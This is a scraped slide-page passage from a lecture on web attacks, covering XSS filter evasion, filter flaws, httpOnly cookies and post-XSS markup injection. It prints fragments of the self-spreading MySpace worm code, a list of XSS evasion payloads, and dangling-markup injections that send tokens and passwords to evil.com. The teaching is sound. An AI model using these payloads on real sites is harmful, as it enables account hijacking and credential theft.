AR=getFromURL(AU,'Mytoken');var AS=new<br>Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?<br>fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var<br>AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new<br>Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?<br>fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?<br>fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?<br>fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var<br>AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new<br>Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?<br>fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}<br>eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-formurlencoded');<br>xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV><br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide101" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 101</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-100.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="31 Flavors of XSS ¼script¾alert(¢XSS¢)¼/script¾ &amp;lt;IMG SRC=&quot;javas cript:alert(&#39;XSS&#39;)&quot;&amp;gt; BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)} Note:" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-100.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-100.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-100.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-100.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>31 Flavors of XSS<br><p><BODY ONLOAD=alert('XSS')><br>¼script¾alert(¢XSS¢)¼/script¾<br><XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML><br><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE><br><SPAN DATASRC="#xss" DATAFLD="B" <DIV</div></h2><div class="slides-content">STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><br><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED><br>Note: all of the above are browser-dependent<br><p>slide <br><p>Source: XSS Filter Evasion Cheat Sheet<br><p>What do you think is this code doing?<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide102" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 102</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-101.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="Problems with Filters Suppose a filter removes src=“…” Removing special" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-101.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-101.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-101.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-101.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Problems with Filters<br><p>Suppose a filter removes <script<br><script src=“…” becomes<br> src=“…”<br><scr<scriptipt src=“…”</div></h2><div class="slides-content">becomes<br> <script src=“…”<br>Removing special characters<br>java&#x09;script – blocked, &#x09 is horizontal tab<br>java&#x26;#x09;script – becomes java&#x09;script<br>Filter transforms input into an attack! <br>Need to loop and reapply until nothing found<br><p>slide <br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide103" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 103</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-102.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="Simulation Errors in Filters Filter must predict how the browser" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-102.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-102.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-102.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-102.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Simulation Errors in Filters<br><p>Filter must predict how the browser would parse</div></h2><div class="slides-content">a given sequence of characters… this is hard!<br>NoScript<br>Does not know that / can delimit HTML attributes<br><a<img/src/onerror=alert(1)//<<br>noXSS<br>Does not understand HTML entity encoded JavaScript<br>IE8 filter<br>Does not use the same <br> byte-to-character decoding as the browser<br><p>slide <br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide104" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 104</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-103.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="Reflective XSS Filters Introduced in IE 8 Blocks any script" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-103.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-103.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-103.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-103.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Reflective XSS Filters<br><p>Introduced in IE 8<br>Blocks any script that appears both</div></h2><div class="slides-content">in the request and the response (why?)<br> http://www.victim.com?var=<script> alert(‘xss’)<br>If <script> appears in the rendered page, the filter will replace it with <sc#pt><br><p>slide <br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide105" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 105</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-104.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="Frame busting code if(top.location != self.location) // framebust Request: http://www.victim.com?var=" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-104.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-104.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-104.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-104.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>Frame busting code<br><script> if(top.location != self.location) // framebust
Request:
http://www.victim.com?var=
if</div></h2><div class="slides-content">(top …<br> Rendered<br><sc#pt> if(top.location != self.location)<br>What has just happened?<br>Same problem in Chrome’s XSS auditor<br><p>Busting Frame Busting<br><p>slide <br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide106" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 106</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-105.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide httpOnly Cookies Cookie sent over HTTP(S), but cannot be" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-105.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-105.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-105.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-105.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>httpOnly Cookies<br><p>Cookie sent over HTTP(S), but cannot be accessed by</div></h2><div class="slides-content">script via document.cookie<br>Prevents cookie theft via XSS<br>Does not stop most other XSS attacks!<br><p>Browser<br><p>Server<br><p>GET<br><p>HTTP Header:<br>Set-cookie: NAME=VALUE ;<br> httpOnly<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide107" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 107</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-106.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide Post-XSS World XSS = script injection … or is" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-106.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-106.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-106.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-106.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>Post-XSS World<br><p>XSS = script injection … or is it?<br>Many browser</div></h2><div class="slides-content">mechanisms to stop script injection<br>Add-ons like NoScript<br>Built-in XSS filters in IE and Chrome<br>Client-side APIs like toStaticHTML() …<br>Many server-side defenses<br>But attacker can do damage by injecting non-script HTML markup elements, too<br><p>[Zalewski. “Postcards from the Post-XSS World”]<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide108" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 108</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-107.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide Dangling Markup Injection … … &#39; [“Postcards from the" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-107.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-107.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-107.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-107.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>Dangling Markup Injection<br><p><img src='http://evil.com/log.cgi? <br>…<br><input type="hidden" name="xsrf_token" value="12345"> <br>… '</div></h2><div class="slides-content"><br></div><br><p>[“Postcards from the post-XSS world”]<br><p>Injected tag<br><p>All of this sent to evil.com as a URL <br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide109" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 109</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-108.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide Another Variant … … [“Postcards from the post-XSS world”]" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-108.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-108.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-108.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-108.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>Another Variant<br><p><form action='http://evil.com/log.cgi'><textarea> <br>…<br><input type="hidden" name="xsrf_token" value="12345"> <br>… <br><EOF><br><p>[“Postcards from</div></h2><div class="slides-content">the post-XSS world”]<br><p>No longer need the closing apostrophe and bracket in the page!<br>Only works if the user submits the form …<br>… but HTML5 may adopt auto-submitting forms<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide110" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 110</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-109.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide Rerouting Existing Forms … … … [“Postcards from the" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-109.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-109.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-109.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-109.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>Rerouting Existing Forms<br><p><form action='http://evil.com/log.cgi><br>… <br><form action='update_profile.php'><br>…<br><input type="text" name="pwd" value="trustno1"><br>…<br></form><br><p>[“Postcards from</div></h2><div class="slides-content">the post-XSS world”]<br><p>Forms can’t be nested, top-level occurrence takes precedence<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><div id="slide111" class="slides-item"><!--[--><div class="text-center"><span class="slides-headingUnit">Слайд 111</span></div><h2 class="mb-0"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-110.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt="slide Namespace Attacks [“Postcards from the post-XSS world”] … function" loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/6613/slide-110.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/6613/slide-110.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/6613/slide-110.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/6613/slide-110.jpg 1440w" class="slides-image"></h2><h2 class="slides-content text-center font-bold"><div><p>slide <br><p>Namespace Attacks<br><p>[“Postcards from the post-XSS world”]<br><p><img id= 'is_public'><br>…<br>function retrieve_acls() {</div></h2><div class="slides-content">… <br>if (response.access_mode == AM_PUBLIC) <br> is_public = true; <br>else <br> is_public = false; } <br>function submit_new_acls() { …<br> if (is_public) request.access_mode = AM_PUBLIC; … }<br><p>Identifier attached to tag is automatically<br>added to JavaScript namespace with<br>higher priority than script-created variables<br><p>Always evaluates to true<br><p>In some browsers, can use this technique<br>to inject numbers and strings, too<br></div><!----><!--]--><!----></div></div><div class="slides-wrapper"><!----></div><!--]--></div><div class="section"><div></div></div><form id="download" action="/api/" method="post" class="download"><!----><div class="download-description"> Имя файла: Web-Attacks:-cross-site-request-forgery,-SQL-injection,-cross-site-scripting.pptx <br> Количество просмотров: 95 <br> Количество скачиваний: 0</div><button class="download-btn" type="submit">Скачать</button><!----></form><div class="navigation"><div class="navigation-item"><div>- Предыдущая</div><a href="/informatika/osi-transport-layer-network-fundamentals-chapter" class="navigation-link">Osi transport layer. Network fundamentals. (Chapter 4)</a></div><div class="navigation-item"><div>Следующая -</div><a href="/informatika/the-language-of-headlines-types-of" class="navigation-link">The language of headlines. Types of newspapers</a></div></div></div></div><div class="item-layoutRelated"><div class="section"><div></div></div></div></div><div class="item-layout"><div class="related"><h2 class="related-header">Похожие презентации</h2><div class="related-wrapper"><!--[--><div class="related-item"><a href="/informatika/operatsionnaya-sistema-funktsii-operatsionnoy-sistemy" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/228228/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/228228/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/228228/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/228228/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/228228/slide-0.jpg 1440w" class="slides-image related-itemImage"> Операционная система. Функции операционной системы</a></div><div class="related-item"><a href="/informatika/tipy-algoritmov-lineynye-algoritmy-1" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/411541/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/411541/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/411541/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/411541/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/411541/slide-0.jpg 1440w" class="slides-image related-itemImage"> Типы алгоритмов. Линейные алгоритмы</a></div><div class="related-item"><a href="/informatika/vvedenie-v-informatiku-7" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/435500/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/435500/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/435500/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/435500/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/435500/slide-0.jpg 1440w" class="slides-image related-itemImage"> Введение в информатику</a></div><div class="related-item"><a href="/informatika/mass-media-and-media-literacy-1" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/259324/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/259324/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/259324/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/259324/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/259324/slide-0.jpg 1440w" class="slides-image related-itemImage"> Mass media and media literacy</a></div><div class="related-item"><a href="/informatika/sostavlenie-otchetov" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/317335/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/317335/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/317335/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/317335/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/317335/slide-0.jpg 1440w" class="slides-image related-itemImage"> Составление отчетов</a></div><div class="related-item"><a href="/informatika/osoblivost-poltichnogo-vplivu-zm" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/129885/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/129885/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/129885/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/129885/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/129885/slide-0.jpg 1440w" class="slides-image related-itemImage"> Особливості політичного впливу ЗМІ</a></div><div class="related-item"><a href="/informatika/programmirovanie-na-yazyke-c-66" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/247167/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/247167/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/247167/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/247167/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/247167/slide-0.jpg 1440w" class="slides-image related-itemImage"> Программирование на языке C++</a></div><div class="related-item"><a href="/informatika/osnovy-zhurnalistiki-televidenie" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/285991/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/285991/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/285991/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/285991/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/285991/slide-0.jpg 1440w" class="slides-image related-itemImage"> Основы журналистики. Телевидение</a></div><div class="related-item"><a href="/informatika/main-game" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/348855/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/348855/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/348855/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/348855/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/348855/slide-0.jpg 1440w" class="slides-image related-itemImage"> Main Game</a></div><div class="related-item"><a href="/informatika/animasiany-netijeleri" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/233834/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/233834/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/233834/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/233834/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/233834/slide-0.jpg 1440w" class="slides-image related-itemImage"> Animasiýanyň netijeleri</a></div><div class="related-item"><a href="/informatika/kompyuter-kak-sredstvo-avtomatizatsii-informatsionnyh-protsessov" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/411856/slide-0.jpg" onerror="this.setAttribute(&#39;data-error&#39;, 1)" width="720" height="540" alt loading="eager" data-nuxt-img sizes="(max-width: 1024px) 480px, 720px" srcset="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_480x360/imagesDir/jpg/411856/slide-0.jpg 480w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_720x540/imagesDir/jpg/411856/slide-0.jpg 720w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_960x720/imagesDir/jpg/411856/slide-0.jpg 960w, /_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/411856/slide-0.jpg 1440w" class="slides-image related-itemImage"> Компьютер как средство автоматизации информационных процессов</a></div><div class="related-item"><a href="/informatika/modelirovanie-zavisimostey-mezhdu-sloyami" class="related-itemLink"><img src="/_ipx/f_webp&amp;q_80&amp;fit_contain&amp;s_1440x1080/imagesDir/jpg/365006/slide-0.jpg" 